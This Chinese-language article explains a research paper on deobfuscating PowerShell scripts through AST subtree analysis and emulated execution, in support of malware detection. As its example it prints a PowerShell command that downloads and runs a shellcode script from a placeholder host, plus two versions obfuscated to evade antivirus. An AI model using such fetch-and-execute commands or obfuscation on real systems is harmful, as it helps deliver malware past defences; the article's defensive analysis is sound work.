开篇
今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。
这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts》,即《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》,作者为浙江大学网络安全博士。其在论文中提出了一个行之有效的对混淆的powershell脚本进行还原的方法,读来非常有启发性,值得写一篇文章来系统地分析下该方案。更重要的是,该还原方案具有通用性,不仅适用于混淆powershell脚本的还原,对其它语言类型的脚本,比如javascript、php、jsp和python等等,也一样适用。
本篇文章我们着重讲解论文中的去混淆方案,至于其中的"语义感知攻击检测"不做过多赘述,感兴趣的同学可以去阅读下论文原文。
代码混淆
事实上,混淆是阻碍反病毒引擎查杀包括Powershell在内的恶意程序的最大元凶,同样对混淆后的代码进行检测也非常有挑战性。因为本篇解读的论文针对的是powershell的混淆样本,所以我们也使用powershell来进行举例。
比如下面是一段典型的从外部网址下载powershell恶意代码并执行的脚本:
Invoke-Expression (New-Object Net.WebClient).DownloadString("https://xxx/Invoke-Shellcode.ps1");
这段代码会首先建立一个Web客户端,然后向指定的url下载脚本文件并执行,是一个典型的恶意行为。这里的恶意特征还是非常明显的,大部分的防病毒引擎都能够识别其中的特征并成功检测:
- Invoke-Expression:动态执行powershell代码的cmdlet;
- Net.WebClient:.net中的网络客户端类;
- .DownloadString():下载方法;
- “Invoke-Shellcode.ps1”:待下载的恶意脚本;
下面我们使用知名的powershell代码混淆工具Invoke-Obfuscation来对这段代码进行混淆,使用Invoke-Obfuscation的TOKEN/ALL混淆方式进行混淆后的结果如下:
&("{1}{2}{3}{0}"-f 'n','Invoke-Expre','s','sio') (.("{0}{1}{2}" -f 'New-','O','bject') ("{2}{3}{1}{0}"-f'lient','C','Ne','t.Web')).("{1}{0}{2}" -f'ownload','D','String').Invoke(("{0}{7}{6}{3}{2}{5}{1}{4}"-f 'https://xxx','e.p','llc','he','s1','od','Invoke-S','/'));.("{1}{0}{3}{4}{2}{5}"-f 'ke-','Invo','i','E','xpress','on') (&("{0}{1}{3}{2}"-f'Ne','w','t','-Objec') ("{3}{1}{2}{0}" -f 'nt','et.WebCli','e','N')).("{1}{0}{2}{3}" -f 'loadStri','Down','n','g').Invoke(("{1}{0}{6}{5}{3}{2}{7}{4}"-f':','https','-Shell','oke','ode.ps1','/xxx/Inv','/','c'));
而使用Invoke-Obfuscation的STRING/3混淆方式混淆后的结果如下:
&((gv '*MDR*').nAmE[3,11,2]-JoIn'')( ( [RegEx]::mAtChEs("XEI | )93]raHC[,)47]raHC[+27]raHC[+701]raHC[( eCalPer- 43]raHC[,)94]raHC[+58]raHC[+221]raHC[( EcaLpERc-)';))'+'JHkcJHk'+',J'+'Hk'+'/JHk,J'+'Hk'+'vn'+'I/xxx/JHk,J'+'Hk1sp.edoJ'+'Hk'+',JH'+'kekoJ'+'H'+'k'+',JH'+'kl'+'lehS-JHk,J'+'Hk'+'sptthJHk,J'+'Hk:JH'+'k'+'f
'+'-'+'1'+'Uz'+'}'+'4{}7{}'+'2'+'{}'+'3{}5{}6{}'+'0{'+'}'+'1'+'{1'+'Uz((e'+'kovn'+'I'+'.'+')JHk'+'gJH'+'k,JHknJHk'+',JHknwoDJH'+'k,JH'+'kirtSdaol'+'JHk f-'+' 1'+'Uz}'+'3{}2{}0{}1'+'{1U'+'z'+'('+'.)'+')J'+'HkNJ'+'Hk,JHke'+'JHk,'+'JHk'+'il'+'C'+'b'+'e'+'W.t'+'eJH'+'k,JHk'+'t'+'nJHk f'+'- 1'+'Uz}'+'0{}'+'2{}1'+'{}'+'3{
1Uz( )JHk'+'c'+'e'+'jbO-JHk,JHkt'+'J'+'Hk,JH'+'k'+'wJ'+'Hk,J'+'Hk'+'e'+'NJHkf'+'-1U'+'z}2{'+'}'+'3{'+'}1'+'{'+'}'+'0'+'{1'+'U'+'z(&( )JH'+'knoJH'+'k,JH'+'k'+'ss'+'er'+'px'+'J'+'Hk,'+'JHkE'+'JH'+'k,JHk'+'iJHk,'+'JHkovnIJ'+'Hk,'+'JHk-ekJHk '+'f'+'-1U'+'z}5'+'{}2'+'{}'+'4'+'{}3'+'{}0{'+'}'+'1{'+'1U'+'z(.;))J'+'H'+'k/JH
k,'+'J'+'HkS-ekovnIJHk'+',J'+'Hkdo'+'JHk,JHk1sJH'+'k,JHkeh'+'JHk,JHk'+'cllJHk,JHkp.eJH'+'k,JHk'+'xx'+'x'+'/'+'/'+':'+'s'+'ptth'+'J'+'Hk '+'f'+'-1'+'U'+'z'+'}4'+'{}1'+'{}'+'5{'+'}2{}3{}6'+'{}7{}0{'+'1'+'Uz('+'('+'e'+'k'+'ovnI.)'+'J'+'H'+'k'+'g'+'nir'+'t'+'SJHk,JH'+'k'+'D'+'JHk,JHkdaol'+'nwo'+'JHkf'+'-'+' 1Uz}'+'2'+'{
'+'}0{}1{1Uz'+'('+'.))'+'J'+'H'+'kbeW.tJ'+'Hk,JHkeN'+'JH'+'k,J'+'HkC'+'JHk,JHktne'+'il'+'JHkf-1Uz'+'}'+'0{'+'}1{}'+'3{}2{1Uz('+' '+')'+'JHk'+'tce'+'j'+'bJHk,JHkOJH'+'k'+',JHk-'+'w'+'eNJHk f'+'- 1'+'Uz}2'+'{}1{}'+'0{1Uz'+'(.('+' )JH'+'koisJ'+'Hk,'+'J'+'Hks'+'J'+'Hk'+',JHkerpx'+'E'+'-ek'+'ovn'+'IJHk,JHk'+'n'+'JHk'+' '
+'f-1Uz'+'}0'+'{}'+'3'+'{}'+'2'+'{}'+'1{1'+'Uz'+'(&'((" ,'.','riGHTto'+'LE'+'FT' )-JoIN'') )
可见混淆后的代码的真实意图已经完全被隐藏,大部分防病毒引擎对这样的混淆后代码也是无能为力的,最多只能检测到这段代码是一段混淆代码,至于代码的真实意图则无法发掘。
这就凸显了混淆代码还原的重要意义,它能够把混淆后的混乱代码还原到最初的形态,或者接近最初形态,然后将还原后的代码再交给检测引擎进行检测,这样就能极大地提高检出率,降低误报率,报告出代码的真实意图。
解混淆方案
传统的解混淆方法基本分为三个阶段:
- 检测阶段:判断脚本是否被混淆过;
- 解混淆阶段:使用动态或静态解混淆;
- 验证阶段:验证解混淆的效果;
这类传统方法存在如下问题:
- 粗粒度的混淆检测:不能处理局部混淆,比如恶意程序只对关键代码部分进行混淆,整体代码仍符合为正常代码的特征。此时,如果将解混淆逻辑应用到整个脚本上去解混淆,导致未混淆代码受到解混淆逻辑的影响,那么最终还原出的代码和原始代码会差异过大,产生漏报或误报;
- 解混淆逻辑需手工:某些时候需要大量手工工作,无法处理未知混淆,鲁棒性较差;
事实上,混淆了的PowerShell脚本在正式运行时必须动态计算出被混淆隐藏的原始脚本部分,以便解释器能够正确地执行它们。以下图的代码为例,这些脚本有两部分:混淆隐藏的原始脚本部分和解混淆还原算法。
更重要的是,这些混淆片段执行后返回的是字符串类型的代码片段。
因此,将这些脚本代码片段称为可还原的片段,以及AST可还原子树中相应的子树。只要找到了这些可还原的代码片段,就可以直接使用代码中自带的还原算法来恢复原始脚本。但是,在实践中,在可还原的代码片段和脚本的其他部分之间没有明确的边界,特别是当脚本在被多层混淆时。
为了解决这个问题,论文中提出了一种基于AST子树的方法,它首先定位可还原的代码片段,然后通过动态执行可还原的代码片段,得到执行结果,即原始代码片段,然后根据原始代码片段来重建原始脚本。
该还原方案的整体流程如下所示:
该方案的核心框架包括五个步骤:
- 提取AST子树;
- 基于子树的混淆检测;
- 基于模拟器的解混淆;
- 更新AST;
- 后处理;
接下来我们一个一个步骤来分析。
提取AST子树
首先,该方案首先会把混淆后的代码编译为AST(抽象语法树),可以使用微软官方程序集System.Management.Automation.dll中的System.Management.Automation.Language.Parser.ParseInput方法来生成指定代码的AST。其它脚本语言也可以找到类似的工具来生成对应的AST。
PowerShell的AST共有71种节点类型,如PipelineAst、CommandAst、CommandExpressionAst等,ParseInput方法返回一个根节点类型为ScriptBlockAst的AST。一个大小为几千字节的脚本生成的AST中可以有数千个节点,意味着有数千个子树,这就使得检查所有子树变得非常耗时。
幸运的是,powershell中只有两种方法可以将还原后的代码片段传递到上层节点,要么直接通过管道,要么间接通过变量。因此,只需要检查这两种类型的子树,根节点为PipelineAst类型的子树或AssignmentStatementAst节点下的第二个子树,因此称这两种类型的子树为可疑的子树。如下图所示,红色块表示PipelineAst节点,蓝色块表示AssignmentStatementAst节点。根据这个论断,需要检查的子树的数量将显著减少,然后以宽度优先的方式遍历AST,将可疑的子树推到堆栈中以便进行后续步骤的操作。
基于子树的混淆检测
对于已经压入栈中的可疑的子树,论文中采取了一个二元分类器来筛选出真正被混淆的子树。作者选取了四类特征来综合判断,包括:
- 脚本片段的熵值
熵表示字符频率的统计特征。有两个会严重影响熵值的流行的混淆技术技术:变量和函数名的随机化,以及编码。熵的计算公式如下:
其中Pi代表第i个字符在所有文本中出现的频率。 - token的长度
几乎所有类型的混淆技术都会改变token的长度。这些技术包括但不限于编码、字符串拆分和字符串重新排序等等,论文中选择token的平均值和最大长度作为特征。 - AST类型的分布
AST解析器生成的AST中包含71种类型的节点,如PipelineAst、ParenExpressionAst、CommandExpressionAst等。在混淆过程中,某些节点类型的节点数量通常会发生变化。例如,字符串重新排序将添加几个ParenExpressionAst节点和StringConstantExpressAst节点到AST。因此,论文计算每个节点类型的节点数,并构造一个71维的向量作为一个特征 - AST的深度
几乎所有的混淆技术对AST的深度和节点总数都有显著的影响。例如,对于基于编码的混淆,无论原始脚本有多少个节点,编码后只剩下大约10个节点,其深度小于6个节点。因此,论文中也使用AST深度和总节点作为特征。
论文中总共从字符级别、token级别和AST级别三个层次中选取了76个特征,并使用逻辑回归与梯度下降算法来执行分类。
基于模拟器的解混淆
在此步骤中,通过powershell相关的几个程序集dll设置一个PowerShell执行会话,该执行会话可以动态执行指定的powershell代码。通过执行在上一步中检测到的混淆片段,如果脚本片段是可恢复的脚本片段,则此过程的返回值为已恢复的脚本片段。如果返回值不是字符串,则意味着上一步的混淆检测结果错误,或者当前的脚本片段不是一个可恢复的片段。
对于这两种情况,都将子树标记为非混淆子树,然后对栈中的下一个混淆子树进行执行。因为是按照自下而上的顺序执行去解混淆,所以总是可以找到一个位于更高级级的可恢复的脚本片段。
更新AST
在从上一步获得执行后的恢复的脚本片段之后,需要将其解析为一个新的AST(恢复后的子树),并更新到原AST。
这个过程有两个主要步骤。首先,需要用恢复后的子树替换原AST上对应的子树。相应地,应该对其所有祖先的特征进行更新,并将恢复后子树中的所有可疑子树推到堆栈中。其次,应该更新脚本片段的更改。具体来说,将可恢复的原始代码片段和恢复后的代码片段块存储在混淆子树的根节点中,然后将更改从底部传递到顶部。最后,当没有了混淆子树时,可以在根节点处获得去混淆脚本。
后处理
脚本解混淆之后后,会得到一个与原始脚本具有相同语义的脚本。但是,在语法方面,这两个脚本之间仍然存在差异。这些差异主要是由混淆过程引起的。
如上所述,通过解混淆过程获得的脚本片段都是字符串。因此,为了帮助解释器理解每个字符串的角色,混淆过程引入了额外的token。例如,在脚本片段 "(‘DownloadFile’).Invoke($url)"中,Invoke函数调用告诉解释器"DownloadFile"应该被视为一个成员方法,而$url是该方法的参数,而混淆会添加额外的圆括号。
在后处理步骤中,这些由混淆过程引入的语法级变化可以用正则表达式定位并相应地去修复。
总结
在混淆样本大行其道的当下,反混淆系统的存在意义非常重大,它一方面可以帮助检测系统更有效的检测恶意样本,同时也能够辅助检测系统给出更符合原始脚本语义的恶意解释。传统的一些反混淆方式大部分都是纯静态还原,通过正则表达式在混淆样本上做一系列的模式匹配,因此适用范围非常有限。
该论文提出的混淆代码的解混淆方案十分新颖和通用,对于基于字符串的混淆方式有非常不错的还原效果,因为采用了基于解释器的动态执行,因此泛化能力很强。同时该方案又具有通用性,可以也应用到其它脚本语言上。
论文链接:https://www.researchgate.net/publication/335927735_Effective_and_Light-Weight_Deobfuscation_and_Semantic-Aware_Attack_Detection_for_PowerShell_Scripts